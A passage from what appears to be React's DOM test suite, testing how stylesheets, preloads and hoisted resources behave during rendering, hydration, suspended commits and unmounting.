content=\"noscript\"&gt;</noscript>\n          <link rel=\"foo\" href=\"foo\" />\n          <style>{'body { background-color: blue; }'}</style>\n          <div />\n          <script async=\"\" src=\"injected\" />\n        </head>\n        <body>\n          <script async=\"\" src=\"injected\" />\n          <style>{'body { background-color: blue; }'}</style>\n          <meta name=\"foo\" content=\"foo\" itemprop=\"a prop\" />\n          <div itemscope=\"\">\n            <div>\n              <div>deep hello</div>\n              <meta name=\"foo\" content=\"foo\" itemprop=\"a prop\" />\n            </div>\n          </div>\n          <style>{'body { background-color: blue; }'}</style>\n          <div />\n          <script async=\"\" src=\"injected\" />\n        </body>\n      </html>,\n    );\n\n    // We unmount. The nodes that remain are\n    // 1. Hoisted resources (we don't clean these up on unmount to address races with streaming suspense and navigation)\n    // 2. preloads that are injected to hint the browser to load a resource but are not associated to Fibers directly\n    // 3. Nodes that React skipped over during hydration\n    root.unmount();\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <script async=\"\" src=\"injected\" />\n          <div />\n          <style>{'body { background-color: blue; }'}</style>\n          <link rel=\"stylesheet\" href=\"stylesheet\" data-precedence=\"default\" />\n          <script async=\"\" src=\"rendered\" />\n          <style>{'body { background-color: blue; }'}</style>\n          <div />\n          <script async=\"\" src=\"injected\" />\n        </head>\n        <body>\n          <script async=\"\" src=\"injected\" />\n          <style>{'body { background-color: blue; }'}</style>\n          <style>{'body { background-color: blue; }'}</style>\n          <div />\n          <script async=\"\" src=\"injected\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('does not preload nomodule scripts', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <script src=\"foo\" noModule={true} data-meaningful=\"\" />\n            <script async={true} src=\"bar\" noModule={true} data-meaningful=\"\" />\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <script async=\"\" src=\"bar\" nomodule=\"\" data-meaningful=\"\" />\n        </head>\n        <body>\n          <script src=\"foo\" nomodule=\"\" data-meaningful=\"\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('can delay commit until css resources load', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    React.startTransition(() => {\n      root.render(\n        <>\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          <div>hello</div>\n        </>,\n      );\n    });\n    await waitForAll([]);\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    expect(getMeaningfulChildren(document.head)).toEqual(\n      <link rel=\"preload\" as=\"style\" href=\"foo\" />,\n    );\n\n    loadPreloads();\n    assertLog(['load preload: foo']);\n\n    // We expect that the stylesheet is inserted now but the commit has not happened yet.\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    expect(getMeaningfulChildren(document.head)).toEqual([\n      <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />,\n      <link rel=\"preload\" as=\"style\" href=\"foo\" />,\n    ]);\n\n    loadStylesheets();\n    assertLog(['load stylesheet: foo']);\n\n    // We expect that the commit finishes synchronously after the stylesheet loads.\n    expect(getMeaningfulChildren(container)).toEqual(<div>hello</div>);\n    expect(getMeaningfulChildren(document.head)).toEqual([\n      <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />,\n      <link rel=\"preload\" as=\"style\" href=\"foo\" />,\n    ]);\n  });\n\n  // https://github.com/facebook/react/issues/27585\n  it('does not reinsert already inserted stylesheets during a delayed commit', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"first\" precedence=\"default\" />\n            <link rel=\"stylesheet\" href=\"second\" precedence=\"default\" />\n            server\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"first\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"second\" data-precedence=\"default\" />\n        </head>\n        <body>server</body>\n      </html>,\n    );\n\n    const root = ReactDOMClient.createRoot(document.body);\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    root.render(\n      <>\n        <link rel=\"stylesheet\" href=\"first\" precedence=\"default\" />\n        <link rel=\"stylesheet\" href=\"third\" precedence=\"default\" />\n        <div>client</div>\n      </>,\n    );\n    await waitForAll([]);\n    await act(() => {\n      loadPreloads();\n      loadStylesheets();\n    });\n    await assertLog([\n      'load preload: third',\n      'load stylesheet: first',\n      'load stylesheet: second',\n      'load stylesheet: third',\n    ]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"first\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"second\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"third\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"third\" as=\"style\" />\n        </head>\n        <body>\n          <div>client</div>\n        </body>\n      </html>,\n    );\n\n    // In a transition we add another reference to an already loaded resource\n    // https://github.com/facebook/react/issues/27585\n    React.startTransition(() => {\n      root.render(\n        <>\n          <link rel=\"stylesheet\" href=\"first\" precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"third\" precedence=\"default\" />\n          <div>client</div>\n          <link rel=\"stylesheet\" href=\"first\" precedence=\"default\" />\n        </>,\n      );\n    });\n    await waitForAll([]);\n    // In https://github.com/facebook/react/issues/27585 the order updated\n    // to second, third, first\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"first\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"second\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"third\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"third\" as=\"style\" />\n        </head>\n        <body>\n          <div>client</div>\n        </body>\n      </html>,\n    );\n  });\n\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('can delay commit until css resources error', async () => {\n    // TODO: This test fails and crashes jest. need to figure out why before unskipping.\n    const root = ReactDOMClient.createRoot(container);\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    React.startTransition(() => {\n      root.render(\n        <>\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n          <div>hello</div>\n        </>,\n      );\n    });\n    await waitForAll([]);\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    expect(getMeaningfulChildren(document.head)).toEqual([\n      <link rel=\"preload\" as=\"style\" href=\"foo\" />,\n      <link rel=\"preload\" as=\"style\" href=\"bar\" />,\n    ]);\n\n    loadPreloads(['foo']);\n    errorPreloads(['bar']);\n    assertLog(['load preload: foo', 'error preload: bar']);\n\n    // We expect that the stylesheet is inserted now but the commit has not happened yet.\n    expect(getMeaningfulChildren(container)).toBe(undefined);\n    expect(getMeaningfulChildren(document.head)).toEqual([\n      <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />,\n      <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />,\n      <link rel=\"preload\" as=\"style\" href=\"foo\" />,\n      <link rel=\"preload\" as=\"style\" href=\"bar\" />,\n    ]);\n\n    errorStylesheets(['bar']);\n\n    loadStylesheets(['foo']);\n    assertLog(['load stylesheet: foo', 'error stylesheet: bar']);\n\n    // We expect that the commit finishes synchronously after the stylesheet loads.\n    expect(getMeaningfulChildren(container)).toEqual(<div>hello</div>);\n    expect(getMeaningfulChildren(document.head)).toEqual([\n      <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />,\n      <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />,\n      <link rel=\"preload\" as=\"style\" href=\"foo\" />,\n      <link rel=\"preload\" as=\"style\" href=\"bar\" />,\n    ]);\n  });\n\n  it('assumes stylesheets that load in the shell loaded already', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            hello\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    let root;\n    React.startTransition(() => {\n      root = ReactDOMClient.hydrateRoot(\n        document,\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            hello\n          </body>\n        </html>,\n      );\n    });\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    React.startTransition(() => {\n      root.render(\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            hello2\n          </body>\n        </html>,\n      );\n    });\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n        </head>\n        <body>hello2</body>\n      </html>,\n    );\n\n    React.startTransition(() => {\n      root.render(\n        <html>\n          <body>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            hello3\n            <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n          </body>\n        </html>,\n      );\n    });\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello2</body>\n      </html>,\n    );\n\n    loadPreloads();\n    assertLog(['load preload: bar']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello2</body>\n      </html>,\n    );\n\n    loadStylesheets(['bar']);\n    assertLog(['load stylesheet: bar']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello3</body>\n      </html>,\n    );\n  });\n\n  it('can interrupt a suspended commit with a new update', async () => {\n    function App({children}) {\n      return (\n        <html>\n          <body>{children}</body>\n        </html>\n      );\n    }\n    const root = ReactDOMClient.createRoot(document);\n\n    // Do an initial render. This means subsequent insertions will suspend,\n    // unless they are wrapped inside a fresh Suspense boundary.\n    root.render(<App />);\n    await waitForAll([]);\n\n    // Insert a stylesheet. This will suspend because it's a transition.\n    React.startTransition(() => {\n      root.render(\n        <App>\n          hello\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n        </App>,\n      );\n    });\n    await waitForAll([]);\n    // Although the commit suspended, a preload was inserted.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body />\n      </html>,\n    );\n\n    // Before the stylesheet has loaded, do an urgent update. This will insert a\n    // different stylesheet, and cancel the first one. This stylesheet will not\n    // suspend, even though it hasn't loaded, because it's an urgent update.\n    root.render(\n      <App>\n        hello2\n        {null}\n        <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n      </App>,\n    );\n    await waitForAll([]);\n    await act(() => {\n      loadPreloads(['bar']);\n      loadStylesheets(['bar']);\n    });\n    await assertLog(['load preload: bar', 'load stylesheet: bar']);\n\n    // The bar stylesheet was inserted. There's still a \"foo\" preload, even\n    // though that update was superseded.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello2</body>\n      </html>,\n    );\n\n    // When \"foo\" finishes loading, nothing happens, because \"foo\" was not\n    // included in the last root update. However, if we insert \"foo\" again\n    // later, it should immediately commit without suspending, because it's\n    // been preloaded.\n    loadPreloads(['foo']);\n    assertLog(['load preload: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello2</body>\n      </html>,\n    );\n\n    // Now insert \"foo\" again.\n    React.startTransition(() => {\n      root.render(\n        <App>\n          hello3\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n        </App>,\n      );\n    });\n    await waitForAll([]);\n    // Commits without suspending because \"foo\" was preloaded.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello3</body>\n      </html>,\n    );\n\n    loadStylesheets(['foo']);\n    assertLog(['load stylesheet: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>hello3</body>\n      </html>,\n    );\n  });\n\n  it('will put a Suspense boundary into fallback if it contains a stylesheet not loaded during a sync update', async () => {\n    function App({children}) {\n      return (\n        <html>\n          <body>{children}</body>\n        </html>\n      );\n    }\n    const root = ReactDOMClient.createRoot(document);\n\n    await clientAct(() => {\n      root.render(<App />);\n    });\n    await waitForAll([]);\n\n    await clientAct(() => {\n      root.render(\n        <App>\n          <Suspense fallback=\"loading...\">\n            <div>\n              hello\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            </div>\n          </Suspense>\n        </App>,\n      );\n    });\n    await waitForAll([]);\n\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      // Although the commit suspended, a preload was inserted.\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n\n      loadPreloads(['foo']);\n      assertLog(['load preload: foo']);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          </head>\n          <body>loading...</body>\n        </html>,\n      );\n    }\n\n    loadStylesheets(['foo']);\n    assertLog(['load stylesheet: foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body>\n          <div>hello</div>\n        </body>\n      </html>,\n    );\n\n    await clientAct(() => {\n      root.render(\n        <App>\n          <Suspense fallback=\"loading...\">\n            <div>\n              hello\n              <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n              <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n            </div>\n          </Suspense>\n        </App>,\n      );\n    });\n    await waitForAll([]);\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n            <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          </head>\n          <body>\n            <div style=\"display: none;\">hello</div>loading...\n          </body>\n        </html>,\n      );\n\n      loadPreloads(['bar']);\n      assertLog(['load preload: bar']);\n      expect(getMeaningfulChildren(document)).toEqual(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n            <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n            <link rel=\"preload\" href=\"foo\" as=\"style\" />\n            <link rel=\"preload\" href=\"bar\" as=\"style\" />\n          </head>\n          <body>\n            <div style=\"display: none;\">hello</div>loading...\n          </body>\n        </html>,\n      );\n    }\n    loadStylesheets(['bar']);\n    assertLog(['load stylesheet: bar']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"bar\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"bar\" as=\"style\" />\n        </head>\n        <body>\n          <div style=\"\">hello</div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('will assume stylesheets already in the document have loaded if it cannot confirm it is not yet loaded', async () => {\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <head>\n            <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          </head>\n          <body>\n            <div id=\"foo\" />\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    const root = ReactDOMClient.createRoot(document.querySelector('#foo'));\n\n    root.render(\n      <div>\n        <Suspense fallback=\"loading...\">\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          hello world\n        </Suspense>\n      </div>,\n    );\n\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div id=\"foo\">\n            <div>hello world</div>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('will assume wait for loading stylesheets to load before continuing', async () => {\n    let ssr = true;\n    function Component() {\n      if (ssr) {\n        return null;\n      } else {\n        return (\n          <>\n            <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n            <div>hello client</div>\n          </>\n        );\n      }\n    }\n\n    await act(() => {\n      renderToPipeableStream(\n        <html>\n          <body>\n            <div>\n              <Suspense fallback=\"loading...\">\n                <BlockedOn value=\"reveal\">\n                  <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n                  <div>hello world</div>\n                </BlockedOn>\n              </Suspense>\n            </div>\n            <div>\n              <Suspense fallback=\"loading 2...\">\n                <Component />\n              </Suspense>\n            </div>\n          </body>\n        </html>,\n      ).pipe(writable);\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>\n          <div>loading...</div>\n          <div />\n        </body>\n      </html>,\n    );\n\n    await act(() => {\n      resolveText('reveal');\n    });\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>loading...</div>\n          <div />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    ssr = false;\n\n    ReactDOMClient.hydrateRoot(\n      document,\n      <html>\n        <body>\n          <div>\n            <Suspense fallback=\"loading...\">\n              <BlockedOn value=\"reveal\">\n                <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n                <div>hello world</div>\n              </BlockedOn>\n            </Suspense>\n          </div>\n          <div>\n            <Suspense fallback=\"loading 2...\">\n              <Component />\n            </Suspense>\n          </div>\n        </body>\n      </html>,\n    );\n    await waitForAll([]);\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>loading...</div>\n          <div />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </body>\n      </html>,\n    );\n\n    loadStylesheets();\n    assertLog(['load stylesheet: foo']);\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      \"Error: Hydration failed because the server rendered HTML didn't match the client. \" +\n        'As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\\n\\n' +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\n' +\n        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n\\n' +\n        'https://react.dev/link/hydration-mismatch\\n\\n' +\n        '  <html>\\n' +\n        '    <body>\\n' +\n        '      <div>\\n' +\n        '      <div>\\n' +\n        '        <Suspense fallback=\"loading 2...\">\\n' +\n        '          <Component>\\n' +\n        '            <link>\\n' +\n        '+           <div>' +\n        '\\n    in <stack>',\n    ]);\n    jest.runAllTimers();\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n        </head>\n        <body>\n          <div>\n            <div>hello world</div>\n          </div>\n          <div>\n            <div>hello client</div>\n          </div>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </body>\n      </html>,\n    );\n  });\n\n  it('can suspend commits on more than one root for the same resource at the same time', async () => {\n    document.body.innerHTML = '';\n    const container1 = document.createElement('div');\n    const container2 = document.createElement('div');\n    document.body.appendChild(container1);\n    document.body.appendChild(container2);\n\n    const root1 = ReactDOMClient.createRoot(container1);\n    const root2 = ReactDOMClient.createRoot(container2);\n\n    React.startTransition(() => {\n      root1.render(\n        <div>\n          one\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"one\" precedence=\"default\" />\n        </div>,\n      );\n    });\n    await waitForAll([]);\n    React.startTransition(() => {\n      root2.render(\n        <div>\n          two\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"two\" precedence=\"default\" />\n        </div>,\n      );\n    });\n    await waitForAll([]);\n\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"one\" as=\"style\" />\n          <link rel=\"preload\" href=\"two\" as=\"style\" />\n        </head>\n        <body>\n          <div />\n          <div />\n        </body>\n      </html>,\n    );\n\n    loadPreloads(['foo', 'two']);\n    assertLog(['load preload: foo', 'load preload: two']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"two\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"one\" as=\"style\" />\n          <link rel=\"preload\" href=\"two\" as=\"style\" />\n        </head>\n        <body>\n          <div />\n          <div />\n        </body>\n      </html>,\n    );\n\n    loadStylesheets(['foo', 'two']);\n    assertLog(['load stylesheet: foo', 'load stylesheet: two']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"two\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"one\" as=\"style\" />\n          <link rel=\"preload\" href=\"two\" as=\"style\" />\n        </head>\n        <body>\n          <div />\n          <div>\n            <div>two</div>\n          </div>\n        </body>\n      </html>,\n    );\n\n    loadPreloads();\n    loadStylesheets();\n    assertLog(['load preload: one', 'load stylesheet: one']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"two\" data-precedence=\"default\" />\n          <link rel=\"stylesheet\" href=\"one\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n          <link rel=\"preload\" href=\"one\" as=\"style\" />\n          <link rel=\"preload\" href=\"two\" as=\"style\" />\n        </head>\n        <body>\n          <div>\n            <div>one</div>\n          </div>\n          <div>\n            <div>two</div>\n          </div>\n        </body>\n      </html>,\n    );\n  });\n\n  it('stylesheets block render, with a really long timeout', async () => {\n    function App({children}) {\n      return (\n        <html>\n          <body>{children}</body>\n        </html>\n      );\n    }\n    const root = ReactDOMClient.createRoot(document);\n    root.render(<App />);\n    React.startTransition(() => {\n      root.render(\n        <App>\n          hello\n          <link rel=\"stylesheet\" href=\"foo\" precedence=\"default\" />\n        </App>,\n      );\n    });\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body />\n      </html>,\n    );\n\n    // Advance time by 50 seconds. Even still, the transition is suspended.\n    jest.advanceTimersByTime(50000);\n    await waitForAll([]);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body />\n      </html>,\n    );\n\n    // Advance time by 10 seconds more. A full minute total has elapsed. At this\n    // point, something must have really gone wrong, so we time out and allow\n    // unstyled content to be displayed.\n    jest.advanceTimersByTime(10000);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n\n    // We will load these after the commit finishes to ensure nothing errors and nothing new inserts\n    loadPreloads(['foo']);\n    loadStylesheets(['foo']);\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"foo\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"foo\" as=\"style\" />\n        </head>\n        <body>hello</body>\n      </html>,\n    );\n  });\n\n  it('can interrupt a suspended commit with a new transition', async () => {\n    function App({children}) {\n      return (\n        <html>\n          <body>{children}</body>\n        </html>\n      );\n    }\n    const root = ReactDOMClient.createRoot(document);\n    root.render(<App>(empty)</App>);\n\n    // Start a transition to \"A\"\n    React.startTransition(() => {\n      root.render(\n        <App>\n          A\n          <link rel=\"stylesheet\" href=\"A\" precedence=\"default\" />\n        </App>,\n      );\n    });\n    await waitForAll([]);\n\n    // \"A\" hasn't loaded yet, so we remain on the initial UI. Its preload\n    // has been inserted into the head, though.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"A\" as=\"style\" />\n        </head>\n        <body>(empty)</body>\n      </html>,\n    );\n\n    // Interrupt the \"A\" transition with a new one, \"B\"\n    React.startTransition(() => {\n      root.render(\n        <App>\n          B\n          <link rel=\"stylesheet\" href=\"B\" precedence=\"default\" />\n        </App>,\n      );\n    });\n    await waitForAll([]);\n\n    // Still on the initial UI because \"B\" hasn't loaded, but its preload\n    // is now in the head, too.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"preload\" href=\"A\" as=\"style\" />\n          <link rel=\"preload\" href=\"B\" as=\"style\" />\n        </head>\n        <body>(empty)</body>\n      </html>,\n    );\n\n    // Finish loading\n    loadPreloads();\n    loadStylesheets();\n    assertLog(['load preload: A', 'load preload: B', 'load stylesheet: B']);\n    // The \"B\" transition has finished.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link rel=\"stylesheet\" href=\"B\" data-precedence=\"default\" />\n          <link rel=\"preload\" href=\"A\" as=\"style\" />\n          <link rel=\"preload\" href=\"B\" as=\"style\" />\n        </head>\n        <body>B</body>\n      </html>,\n    );\n  });\n\n  it('loading a stylesheet as part of an error boundary UI, during initial render', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error) {\n        return {error};\n      }\n      render() {\n        const error = this.state.error;\n        if (error !== null) {\n          return (\n            <>\n              <link rel=\"stylesheet\" href=\"A\" precedence=\"default\" />\n              {error.message}\n            </>\n          );\n        }\n        return this.props.children;\n      }\n    }\n\n    function Throws() {\n      throw new Error('Oops!');\n    }\n\n    function App() {\n      return (\n        <html>\n          <body>\n            <ErrorBoundary>\n              <Suspense fallback=\"Loading...\">\n                <Throws />\n              </Suspense>\n            </ErrorBoundary>\n          </body>\n        </html>\n      );\n    }\n\n    // Initial server render. Because something threw, a Suspense fallback\n    // is shown.\n    await act(() => {\n      renderToPipeableStream(<App />, {\n        onError(x) {\n          Scheduler.log('Caught server error: ' + x.message);\n        },\n      }).pipe(writable);\n    });\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head />\n        <body>Loading...</body>\n      </html>,\n    );\n    assertLog(['Caught server error: Oops!']);\n\n    // Hydrate the tree. The error boundary will capture the error and attempt\n    // to show an error screen. However, the error screen includes a stylesheet,\n    // so the commit should suspend until the stylesheet loads.\n    ReactDOMClient.hydrateRoot(document, <App />);\n    await waitForAll([]);\n\n    // A preload for the stylesheet is inserted, but we still haven't committed\n    // the error screen.\n    expect(getMeaningfulChildren(document)).toEqual(\n      <html>\n        <head>\n          <link as=\"style\" href=\"A\" rel=\"preload\" />\n        </head>\n        <body>Loading...</body>\n      </html>,\n    );\n\n    // Finish loading the stylesheets. The commit should be 